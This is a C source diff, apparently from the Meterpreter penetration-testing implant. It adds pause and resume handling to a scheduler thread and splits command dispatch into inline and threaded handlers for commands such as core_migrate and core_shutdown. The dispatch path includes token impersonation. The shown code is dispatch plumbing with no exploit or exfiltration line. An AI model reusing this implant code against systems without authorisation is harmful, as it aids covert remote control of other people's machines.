dprintf( "[SCHEDULER] leaving scheduler_remove_waitable" );
|
||||
dprintf( "[SCHEDULER] leaving scheduler_signal_waitable" );
|
||||
|
||||
return result;
|
||||
}
|
||||
@ -190,10 +227,11 @@ DWORD scheduler_remove_waitable( HANDLE waitable )
|
||||
*/
|
||||
DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
|
||||
{
|
||||
HANDLE waitableHandles[2] = {0};
|
||||
HANDLE waitableHandles[3] = {0};
|
||||
WaitableEntry * entry = NULL;
|
||||
DWORD result = 0;
|
||||
BOOL terminate = FALSE;
|
||||
UINT signalIndex = 0;
|
||||
|
||||
if( thread == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
@ -211,23 +249,34 @@ DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
|
||||
list_add( schedulerThreadList, thread );
|
||||
|
||||
waitableHandles[0] = thread->sigterm->handle;
|
||||
waitableHandles[1] = entry->waitable;
|
||||
waitableHandles[1] = entry->pause->handle;
|
||||
waitableHandles[2] = entry->waitable;
|
||||
|
||||
dprintf( "[SCHEDULER] entering scheduler_waitable_thread( 0x%08X )", thread );
|
||||
dprintf( "[SCHEDULER] waiting on term=0x%X pause=0x%X waitable=0x%X", waitableHandles[0], waitableHandles[1], waitableHandles[2] );
|
||||
|
||||
entry->running = TRUE;
|
||||
while( !terminate )
|
||||
{
|
||||
|
||||
result = WaitForMultipleObjects( 2, (HANDLE *)&waitableHandles, FALSE, INFINITE );
|
||||
switch( result - WAIT_OBJECT_0 )
|
||||
dprintf( "[SCHEDULER] About to wait ( 0x%08X )", thread );
|
||||
result = WaitForMultipleObjects( 3, waitableHandles, FALSE, INFINITE );
|
||||
dprintf( "[SCHEDULER] Wait returned ( 0x%08X )", thread );
|
||||
signalIndex = result - WAIT_OBJECT_0;
|
||||
switch( signalIndex )
|
||||
{
|
||||
case 0:
|
||||
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to terminate...", thread );
|
||||
terminate = TRUE;
|
||||
break;
|
||||
case 1:
|
||||
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to pause...", thread );
|
||||
entry->running = FALSE;
|
||||
event_poll( entry->resume, INFINITE );
|
||||
entry->running = TRUE;
|
||||
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to resume...", thread );
|
||||
case 2:
|
||||
//dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled on waitable...", thread );
|
||||
entry->routine( entry->remote, entry->context );
|
||||
entry->routine( entry->remote, entry->context, thread->parameter2 );
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
@ -237,18 +286,24 @@ DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
|
||||
dprintf( "[SCHEDULER] leaving scheduler_waitable_thread( 0x%08X )", thread );
|
||||
|
||||
// we acquire the lock for this block as we are freeing 'entry' which may be accessed
|
||||
// in a second call to scheduler_remove_waitable for this thread (unlikely but best practice).
|
||||
// in a second call to scheduler_signal_waitable for this thread (unlikely but best practice).
|
||||
lock_acquire( schedulerThreadList->lock );
|
||||
if( list_remove( schedulerThreadList, thread ) )
|
||||
{
|
||||
if(entry->waitable) {
|
||||
if( entry->destroy ) {
|
||||
entry->destroy( entry->waitable, entry->context, thread->parameter2 );
|
||||
}
|
||||
else if( entry->waitable ) {
|
||||
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ) closing handle 0x%08X", thread, entry->waitable);
|
||||
CloseHandle( entry->waitable );
|
||||
}
|
||||
|
||||
event_destroy( entry->resume );
|
||||
event_destroy( entry->pause );
|
||||
thread_destroy( thread );
|
||||
free( entry );
|
||||
}
|
||||
lock_release( schedulerThreadList->lock );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
@ -5,59 +5,62 @@
|
||||
#include "common.h"
|
||||
|
||||
// Local remote request implementors
|
||||
extern DWORD remote_request_core_console_write(Remote *remote, Packet *packet);
|
||||
extern DWORD remote_request_core_console_write( Remote *remote, Packet *packet );
|
||||
|
||||
extern DWORD remote_request_core_channel_open(Remote *remote, Packet *packet);
|
||||
extern DWORD remote_request_core_channel_write(Remote *remote, Packet *packet);
|
||||
extern DWORD remote_request_core_channel_read(Remote *remote, Packet *packet);
|
||||
extern DWORD remote_request_core_channel_close(Remote *remote, Packet *packet);
|
||||
extern DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet);
|
||||
extern DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet);
|
||||
extern DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet);
|
||||
extern DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet);
|
||||
extern DWORD remote_request_core_channel_open( Remote *remote, Packet *packet );
|
||||
extern DWORD remote_request_core_channel_write( Remote *remote, Packet *packet );
|
||||
extern DWORD remote_request_core_channel_read( Remote *remote, Packet *packet );
|
||||
extern DWORD remote_request_core_channel_close( Remote *remote, Packet *packet );
|
||||
extern DWORD remote_request_core_channel_seek( Remote *remote, Packet *packet );
|
||||
extern DWORD remote_request_core_channel_eof( Remote *remote, Packet *packet );
|
||||
extern DWORD remote_request_core_channel_tell( Remote *remote, Packet *packet );
|
||||
extern DWORD remote_request_core_channel_interact( Remote *remote, Packet *packet );
|
||||
|
||||
extern DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet);
|
||||
extern DWORD remote_request_core_crypto_negotiate( Remote *remote, Packet *packet );
|
||||
|
||||
extern DWORD remote_request_core_shutdown(Remote *remote, Packet *packet);
|
||||
extern BOOL remote_request_core_shutdown(Remote *remote, Packet *packet, DWORD* pResult);
|
||||
|
||||
extern DWORD remote_request_core_migrate(Remote *remote, Packet *packet);
|
||||
extern BOOL remote_request_core_migrate( Remote *remote, Packet *packet, DWORD* pResult );
|
||||
|
||||
// Local remote response implementors
|
||||
extern DWORD remote_response_core_console_write(Remote *remote, Packet *packet);
|
||||
extern DWORD remote_response_core_console_write( Remote *remote, Packet *packet );
|
||||
|
||||
extern DWORD remote_response_core_channel_open(Remote *remote, Packet *packet);
|
||||
extern DWORD remote_response_core_channel_close(Remote *remote, Packet *packet);
|
||||
extern DWORD remote_response_core_channel_open( Remote *remote, Packet *packet );
|
||||
extern DWORD remote_response_core_channel_close( Remote *remote, Packet *packet );
|
||||
|
||||
DWORD remote_request_core_console_write(Remote *remote, Packet *packet)
|
||||
DWORD remote_request_core_console_write( Remote *remote, Packet *packet )
|
||||
{
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD remote_response_core_console_write(Remote *remote, Packet *packet)
|
||||
DWORD remote_response_core_console_write( Remote *remote, Packet *packet )
|
||||
{
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
BOOL command_is_inline( Command *command, Packet *packet );
|
||||
Command* command_locate( Packet *packet );
|
||||
DWORD command_validate_arguments(Command *command, Packet *packet);
|
||||
DWORD THREADCALL command_process_thread( THREAD * thread );
|
||||
|
||||
|
||||
/*!
|
||||
* @brief Base RPC dispatch table.
|
||||
*/
|
||||
Command commands[] =
|
||||
Command base_commands[] =
|
||||
{
|
||||
/*
|
||||
* Core commands
|
||||
*/
|
||||
|
||||
// Console commands
|
||||
{ "core_console_write",
|
||||
{ remote_request_core_console_write, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT },
|
||||
{ remote_response_core_console_write, EMPTY_TLV },
|
||||
{ remote_request_core_console_write, NULL, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT },
|
||||
{ remote_response_core_console_write, NULL, EMPTY_TLV },
|
||||
},
|
||||
|
||||
// Native Channel commands
|
||||
// this overloads the "core_channel_open" in the base command list
|
||||
COMMAND_REQ_REP( "core_channel_open", remote_request_core_channel_open, remote_response_core_channel_open ),
|
||||
COMMAND_REQ( "core_channel_write", remote_request_core_channel_write ),
|
||||
COMMAND_REQ_REP( "core_channel_close", remote_request_core_channel_close, remote_response_core_channel_close ),
|
||||
|
||||
// Buffered/Pool channel commands
|
||||
COMMAND_REQ( "core_channel_read", remote_request_core_channel_read ),
|
||||
// Pool channel commands
|
||||
@ -69,14 +72,17 @@ Command commands[] =
|
||||
// Crypto
|
||||
COMMAND_REQ( "core_crypto_negotiate", remote_request_core_crypto_negotiate ),
|
||||
// Migration
|
||||
COMMAND_REQ( "core_migrate", remote_request_core_migrate ),
|
||||
COMMAND_INLINE_REQ( "core_migrate", remote_request_core_migrate ),
|
||||
// Shutdown
|
||||
COMMAND_REQ( "core_shutdown", remote_request_core_shutdown ),
|
||||
COMMAND_INLINE_REQ( "core_shutdown", remote_request_core_shutdown ),
|
||||
// Terminator
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
// Dynamically registered command extensions
|
||||
/*!
|
||||
* @brief Dynamically registered command extensions.
|
||||
* @details A linked list of commands registered on the fly by reflectively-loaded extensions.
|
||||
*/
|
||||
Command *extension_commands = NULL;
|
||||
|
||||
/*!
|
||||
@ -88,7 +94,7 @@ void command_register_all(Command commands[])
|
||||
DWORD index;
|
||||
|
||||
for (index = 0; commands[index].method; index++)
|
||||
command_register(&commands[index]);
|
||||
command_register( &commands[index] );
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -201,20 +207,157 @@ VOID reap_zombie_thread(void * param)
|
||||
}
|
||||
#endif
|
||||
|
||||
/*!
|
||||
* @brief Process a command directly on the current thread.
|
||||
* @param command Pointer to the \c Command to be executed.
|
||||
* @param remote Pointer to the \c Remote endpoint for this command.
|
||||
* @param packet Pointer to the \c Packet containing the command detail.
|
||||
* @returns Boolean value indicating if the server should continue processing.
|
||||
* @retval TRUE The server can and should continue processing.
|
||||
* @retval FALSE The server should stop processing and shut down.
|
||||
* @sa command_handle
|
||||
* @sa command_process_thread
|
||||
*/
|
||||
BOOL command_process_inline( Command *command, Remote *remote, Packet *packet )
|
||||
{
|
||||
DWORD result;
|
||||
BOOL serverContinue = TRUE;
|
||||
Tlv requestIdTlv;
|
||||
PCHAR requestId;
|
||||
PacketTlvType packetTlvType;
|
||||
|
||||
dprintf( "[COMMAND] Executing command %s", command->method );
|
||||
|
||||
__try
|
||||
{
|
||||
do
|
||||
{
|
||||
#ifdef _WIN32
|
||||
// Impersonate the thread token if needed (only on Windows)
|
||||
if(remote->hServerToken != remote->hThreadToken) {
|
||||
if(! ImpersonateLoggedOnUser(remote->hThreadToken)) {
|
||||
dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", command->method, GetLastError());
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
// Validate the arguments, if requested. Always make sure argument
|
||||
// lengths are sane.
|
||||
if( command_validate_arguments( command, packet ) != ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
packetTlvType = packet_get_type( packet );
|
||||
switch ( packetTlvType )
|
||||
{
|
||||
case PACKET_TLV_TYPE_REQUEST:
|
||||
case PACKET_TLV_TYPE_PLAIN_REQUEST:
|
||||
if (command->request.inline_handler) {
|
||||
dprintf( "[DISPATCH] executing inline request handler %s", command->method );
|
||||
serverContinue = command->request.inline_handler( remote, packet, &result );
|
||||
} else {
|
||||
dprintf( "[DISPATCH] executing request handler %s", command->method );
|
||||
result = command->request.handler( remote, packet );
|
||||
}
|
||||
break;
|
||||
case PACKET_TLV_TYPE_RESPONSE:
|
||||
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
|
||||
if (command->response.inline_handler) {
|
||||
dprintf( "[DISPATCH] executing inline response handler %s", command->method );
|
||||
serverContinue = command->response.inline_handler( remote, packet, &result );
|
||||
} else {
|
||||
dprintf( "[DISPATCH] executing response handler %s", command->method );
|
||||
result = command->response.handler( remote, packet );
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[COMMAND] Calling completion handlers...");
|
||||
|
||||
// Get the request identifier if the packet has one.
|
||||
if ( packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv ) == ERROR_SUCCESS )
|
||||
requestId = (PCHAR)requestIdTlv.buffer;
|
||||
|
||||
// Finally, call completion routines for the provided identifier
|
||||
if( ((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId)
|
||||
packet_call_completion_handlers( remote, packet, requestId );
|
||||
|
||||
} while( 0 );
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
dprintf("[COMMAND] Exception hit in command %s", command->method );
|
||||
}
|
||||
|
||||
packet_destroy( packet );
|
||||
|
||||
return serverContinue;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Handle an incoming command.
|
||||
* @param remote Pointer to the \c Remote instance associated with this command.
|
||||
* @param packet Pointer to the \c Packet containing the command data.
|
||||
* @retval TRUE The server can and should continue processing.
|
||||
* @retval FALSE The server should stop processing and shut down.
|
||||
* @remark This function was incorporate to help support two things in meterpreter:
|
||||
* -# A way of allowing a command to be processed directly on the main server
|
||||
* thread and not on another thread (which in some cases can cause problems).
|
||||
* -# A cleaner way of shutting down the server so that container processes
|
||||
* can shutdown cleanly themselves, where appropriate.
|
||||
*
|
||||
* This function will look at the command definition and determine if it should
|
||||
* be executed inline or on a new command thread.
|
||||
* @sa command_process_inline
|
||||
* @sa command_process_thread
|
||||
*/
|
||||
BOOL command_handle( Remote *remote, Packet *packet )
|
||||
{
|
||||
BOOL result = TRUE;
|
||||
THREAD* cpt = NULL;
|
||||
Command* command = NULL;
|
||||
Packet* response = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
command = command_locate( packet );
|
||||
|
||||
if( command == NULL ) {
|
||||
dprintf( "[DISPATCH] Command not found" );
|
||||
// We have no matching command for this packet, so it won't get handled. We
|
||||
// need to send an empty response and clean up here before exiting out.
|
||||
response = packet_create_response( packet );
|
||||
packet_transmit_response( ERROR_NOT_SUPPORTED, remote, response );
|
||||
packet_destroy( packet );
|
||||
break;
|
||||
}
|
||||
|
||||
if( command_is_inline( command, packet ) ) {
|
||||
dprintf( "[DISPATCH] Executing inline: %s", command->method );
|
||||
result = command_process_inline( command, remote, packet );
|
||||
} else {
|
||||
dprintf( "[DISPATCH] Executing in thread: %s", command->method );
|
||||
cpt = thread_create( command_process_thread, remote, packet, command );
|
||||
if( cpt )
|
||||
{
|
||||
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
|
||||
thread_run( cpt );
|
||||
}
|
||||
}
|
||||
} while(0);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Process a single command in a seperate thread of execution.
|
||||
* @param thread Pointer to the thread to execute.
|
||||
* @return Result of processing.
|
||||
* @return Result of thread execution (not the result of the command).
|
||||
* @sa command_handle
|
||||
* @sa command_process_thread
|
||||
*/
|
||||
DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||
{
|
||||
DWORD index = 0;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
Tlv methodTlv = {0};
|
||||
Tlv requestIdTlv = {0};
|
||||
PCHAR method = NULL;
|
||||
PCHAR requestId = NULL;
|
||||
Command * current = NULL;
|
||||
Command * command = NULL;
|
||||
Remote * remote = NULL;
|
||||
Packet * packet = NULL;
|
||||
|
||||
@ -229,11 +372,16 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||
if( packet == NULL )
|
||||
return ERROR_INVALID_DATA;
|
||||
|
||||
command = (Command *)thread->parameter3;
|
||||
if( command == NULL )
|
||||
return ERROR_INVALID_DATA;
|
||||
|
||||
if( commandThreadList == NULL )
|
||||
{
|
||||
commandThreadList = list_create();
|
||||
if( commandThreadList == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
#ifndef _WIN32
|
||||
pthread_t tid;
|
||||
pthread_create(&tid, NULL, reap_zombie_thread, NULL);
|
||||
@ -243,73 +391,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||
|
||||
list_add( commandThreadList, thread );
|
||||
|
||||
__try
|
||||
{
|
||||
do
|
||||
{
|
||||
|
||||
// Extract the method
|
||||
result = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
|
||||
if( result != ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
dprintf( "[COMMAND] Processing method %s", methodTlv.buffer );
|
||||
|
||||
#ifdef _WIN32
|
||||
// Impersonate the thread token if needed (only on Windows)
|
||||
if(remote->hServerToken != remote->hThreadToken) {
|
||||
if(! ImpersonateLoggedOnUser(remote->hThreadToken)) {
|
||||
dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", methodTlv.buffer, GetLastError());
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
// Get the request identifier if the packet has one.
|
||||
result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv );
|
||||
if( result == ERROR_SUCCESS )
|
||||
requestId = (PCHAR)requestIdTlv.buffer;
|
||||
|
||||
method = (PCHAR)methodTlv.buffer;
|
||||
|
||||
result = ERROR_NOT_FOUND;
|
||||
|
||||
// Try to find a match in the dispatch type
|
||||
for( index = 0, result = ERROR_NOT_FOUND ; result == ERROR_NOT_FOUND && commands[index].method ; index++ )
|
||||
{
|
||||
if( strcmp( commands[index].method, method ) )
|
||||
continue;
|
||||
|
||||
// Call the base handler
|
||||
result = command_call_dispatch( &commands[index], remote, packet );
|
||||
}
|
||||
|
||||
// Regardless of error code, try to see if someone has overriden a base handler
|
||||
for( current = extension_commands, result = ERROR_NOT_FOUND ;
|
||||
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
|
||||
{
|
||||
if( strcmp( current->method, method ) )
|
||||
continue;
|
||||
|
||||
// Call the custom handler
|
||||
result = command_call_dispatch( current, remote, packet );
|
||||
}
|
||||
|
||||
dprintf("[COMMAND] Calling completion handlers...");
|
||||
// Finally, call completion routines for the provided identifier
|
||||
if( ((packet_get_type(packet) == PACKET_TLV_TYPE_RESPONSE) || (packet_get_type(packet) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && (requestId))
|
||||
packet_call_completion_handlers( remote, packet, requestId );
|
||||
|
||||
// If we get here, we're successful.
|
||||
result = ERROR_SUCCESS;
|
||||
|
||||
} while( 0 );
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
dprintf("[COMMAND] Exception hit in command thread 0x%08X!", thread );
|
||||
}
|
||||
|
||||
packet_destroy( packet );
|
||||
command_process_inline( command, remote, packet );
|
||||
|
||||
if( list_remove( commandThreadList, thread ) )
|
||||
thread_destroy( thread );
|
||||
@ -317,146 +399,108 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Process a single command
|
||||
*/
|
||||
/*
|
||||
DWORD command_process_remote(Remote *remote, Packet *inPacket)
|
||||
{
|
||||
DWORD res = ERROR_SUCCESS, index;
|
||||
Tlv methodTlv, requestIdTlv;
|
||||
Packet *localPacket = NULL;
|
||||
PCHAR method, requestId = NULL;
|
||||
Command *current;
|
||||
|
||||
do
|
||||
{
|
||||
// If no packet was providied, try to receive one.
|
||||
if (!inPacket)
|
||||
{
|
||||
if ((res = packet_receive(remote, &localPacket)) != ERROR_SUCCESS)
|
||||
break;
|
||||
else
|
||||
inPacket = localPacket;
|
||||
}
|
||||
|
||||
// Extract the method
|
||||
if ((packet_get_tlv_string(inPacket, TLV_TYPE_METHOD, &methodTlv)
|
||||
!= ERROR_SUCCESS))
|
||||
break;
|
||||
dprintf("Processing method %s", methodTlv.buffer);
|
||||
|
||||
// Get the request identifier if the packet has one.
|
||||
if (packet_get_tlv_string(inPacket, TLV_TYPE_REQUEST_ID,
|
||||
&requestIdTlv) == ERROR_SUCCESS)
|
||||
requestId = (PCHAR)requestIdTlv.buffer;
|
||||
|
||||
method = (PCHAR)methodTlv.buffer;
|
||||
|
||||
res = ERROR_NOT_FOUND;
|
||||
|
||||
// Try to find a match in the dispatch type
|
||||
for (index = 0, res = ERROR_NOT_FOUND;
|
||||
res = ERROR_NOT_FOUND && commands[index].method;
|
||||
index++)
|
||||
{
|
||||
if (strcmp(commands[index].method, method))
|
||||
continue;
|
||||
|
||||
// Call the base handler
|
||||
res = command_call_dispatch(&commands[index], remote, inPacket);
|
||||
}
|
||||
|
||||
// Regardless of error code, try to see if someone has overriden
|
||||
// a base handler
|
||||
for (current = extension_commands, res = ERROR_NOT_FOUND;
|
||||
res == ERROR_NOT_FOUND && current && current->method;
|
||||
current = current->next)
|
||||
{
|
||||
if (strcmp(current->method, method))
|
||||
continue;
|
||||
|
||||
// Call the custom handler
|
||||
res = command_call_dispatch(current, remote, inPacket);
|
||||
}
|
||||
|
||||
dprintf("Calling completion handlers...");
|
||||
// Finally, call completion routines for the provided identifier
|
||||
if (((packet_get_type(inPacket) == PACKET_TLV_TYPE_RESPONSE) ||
|
||||
(packet_get_type(inPacket) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) &&
|
||||
(requestId))
|
||||
packet_call_completion_handlers(remote, inPacket, requestId);
|
||||
|
||||
// If we get here, we're successful.
|
||||
res = ERROR_SUCCESS;
|
||||
|
||||
} while (0);
|
||||
|
||||
if (localPacket)
|
||||
packet_destroy(localPacket);
|
||||
|
||||
return res;
|
||||
}*/
|
||||
|
||||
/*
|
||||
* Process incoming commands, calling dispatch tables appropriately
|
||||
*/
|
||||
/*
|
||||
DWORD command_process_remote_loop(Remote *remote)
|
||||
{
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
Packet *packet;
|
||||
|
||||
while ((res = packet_receive(remote, &packet)) == ERROR_SUCCESS)
|
||||
{
|
||||
res = command_process_remote(remote, packet);
|
||||
|
||||
// Destroy the packet
|
||||
packet_destroy(packet);
|
||||
|
||||
// If a command returned exit, we shall return.
|
||||
if (res == ERROR_INSTALL_USEREXIT)
|
||||
break;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
*/
|
||||
|
||||
/*!
|
||||
* @brief Call the dispatch routine for a given command.
|
||||
* @param command The command to call the dispatch routine on.
|
||||
* @param remote Pointer to the remote connection.
|
||||
* @param packet Pointer to the current packet.
|
||||
* @return Result of the command dispatch handler call.
|
||||
* @brief Determine if a given command/packet combination should be invoked inline.
|
||||
* @param command Pointer to the \c Command being invoked.
|
||||
* @param packet Pointer to the \c Packet being received/sent.
|
||||
* @returns Boolean indication of whether the command should be executed inline.
|
||||
* @retval TRUE The command should be executed inline on the current thread.
|
||||
* @retval FALSE The command should be executed on a new thread.
|
||||
*/
|
||||
DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet)
|
||||
BOOL command_is_inline( Command *command, Packet *packet )
|
||||
{
|
||||
DWORD res;
|
||||
|
||||
// Validate the arguments, if requested. Always make sure argument
|
||||
// lengths are sane.
|
||||
if ((res = command_validate_arguments(command, packet)) != ERROR_SUCCESS)
|
||||
return res;
|
||||
|
||||
switch (packet_get_type(packet))
|
||||
switch (packet_get_type( packet ))
|
||||
{
|
||||
case PACKET_TLV_TYPE_REQUEST:
|
||||
case PACKET_TLV_TYPE_PLAIN_REQUEST:
|
||||
if (command->request.handler)
|
||||
res = command->request.handler(remote, packet);
|
||||
break;
|
||||
if (command->request.inline_handler)
|
||||
return TRUE;
|
||||
case PACKET_TLV_TYPE_RESPONSE:
|
||||
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
|
||||
if (command->response.handler)
|
||||
res = command->response.handler(remote, packet);
|
||||
break;
|
||||
default:
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
if (command->response.inline_handler)
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return res;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Attempt to locate a command in the base command list.
|
||||
* @param method String that identifies the command.
|
||||
* @returns Pointer to the command entry in the base command list.
|
||||
* @retval NULL Indicates that no command was found for the given method.
|
||||
* @retval NON-NULL Pointer to the command that can be executed.
|
||||
*/
|
||||
Command* command_locate_base( const char* method )
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
dprintf( "[COMMAND EXEC] Attempting to locate base command %s", method );
|
||||
for( index = 0; base_commands[index].method ; ++index )
|
||||
if( strcmp( base_commands[index].method, method ) == 0 )
|
||||
return &base_commands[index];
|
||||
|
||||
dprintf( "[COMMAND EXEC] Couldn't find base command %s", method );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Attempt to locate a command in the extensions command list.
|
||||
* @param method String that identifies the command.
|
||||
* @returns Pointer to the command entry in the extensions command list.
|
||||
* @retval NULL Indicates that no command was found for the given method.
|
||||
* @retval NON-NULL Pointer to the command that can be executed.
|
||||
*/
|
||||
Command* command_locate_extension( const char* method )
|
||||
{
|
||||
Command* command;
|
||||
|
||||
dprintf( "[COMMAND EXEC] Attempting to locate extension command %s", method );
|
||||
for( command = extension_commands; command; command = command->next )
|
||||
if( strcmp( command->method, method ) == 0 )
|
||||
return command;
|
||||
|
||||
dprintf( "[COMMAND EXEC] Couldn't find extension command %s", method );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Attempt to locate a command to execute based on the method.
|
||||
* @param method String that identifies the command.
|
||||
* @returns Pointer to the command entry to execute.
|
||||
* @retval NULL Indicates that no command was found for the given method.
|
||||
* @retval NON-NULL Pointer to the command that can be executed.
|
||||
* @remark This function tries to find an extension command first. If
|
||||
* found it will be returned. If not, the base command list is
|
||||
* queried. This supports the notion of extensions overloading
|
||||
* the base commands.
|
||||
* @sa command_locate_extension
|
||||
* @sa command_locate_base
|
||||
*/
|
||||
Command* command_locate( Packet *packet )
|
||||
{
|
||||
Command* command = NULL;
|
||||
DWORD dwResult;
|
||||
Tlv methodTlv;
|
||||
|
||||
do
|
||||
{
|
||||
dwResult = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
|
||||
|
||||
if( dwResult != ERROR_SUCCESS ) {
|
||||
dprintf( "[COMMAND] Unable to extract method from packet." );
|
||||
break;
|
||||
}
|
||||
|
||||
// check for an overload first.
|
||||
command = command_locate_extension( (PCHAR)methodTlv.buffer );
|
||||
|
||||
// if no overload, then fallback on base.
|
||||
if( command == NULL )
|
||||
command = command_locate_base( (PCHAR)methodTlv.buffer );
|
||||
} while(0);
|
||||
|
||||
return command;
|
||||
}
|
||||
|
||||
/*!
|
||||
|
@ -10,6 +10,7 @@
|
||||
|
||||
/*! @brief Function pointer type that defines the interface for a dispatch handler. */
|
||||
typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet );
|
||||
typedef BOOL (*INLINE_DISPATCH_ROUTINE)( Remote *remote, Packet *packet, DWORD* result);
|
||||
|
||||
/*! @brief Specifies the maximum number of arguments that are checked/handled
|
||||
* in a request/response packet dispatcher.
|
||||
@ -24,15 +25,30 @@ typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet );
|
||||
/*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */
|
||||
#define EMPTY_TLV { 0 }, 0
|
||||
/*! @brief Helper macro which defines an empty dispatch handler. */
|
||||
#define EMPTY_DISPATCH_HANDLER NULL, EMPTY_TLV
|
||||
#define EMPTY_DISPATCH_HANDLER NULL, NULL, EMPTY_TLV
|
||||
/*! @brief Helper macro that defines terminator for command lists. */
|
||||
#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } }
|
||||
/*! @brief Helper macro that defines a command instance with a request handler only. */
|
||||
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
|
||||
/*! @brief Helper macro that defines a command instance with a response handler only. */
|
||||
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, EMPTY_TLV } }
|
||||
/*! @brief Helper macro that defines a command instance with both a request and response handler. */
|
||||
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, EMPTY_TLV }, { repHandler, EMPTY_TLV } }
|
||||
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with a request handler only.
|
||||
* @remarks The request handler will be executed on a separate thread.
|
||||
*/
|
||||
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with a response handler only.
|
||||
* @remarks The request handler will be executed on a separate thread.
|
||||
*/
|
||||
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with both a request and response handler.
|
||||
* @remarks The request handler will be executed on a separate thread.
|
||||
*/
|
||||
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with an inline request handler only.
|
||||
* @remarks The request handler will be executed on the server thread.
|
||||
*/
|
||||
#define COMMAND_INLINE_REQ(name, reqHandler) { name, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
|
||||
|
||||
// Place holders
|
||||
/*! @deprecated This entity is not used and may be removed in future. */
|
||||
@ -46,12 +62,21 @@ typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet );
|
||||
typedef struct
|
||||
{
|
||||
/*! @brief Pointer to the routine that will be called to handle the request/response. */
|
||||
DISPATCH_ROUTINE handler;
|
||||
DISPATCH_ROUTINE handler;
|
||||
|
||||
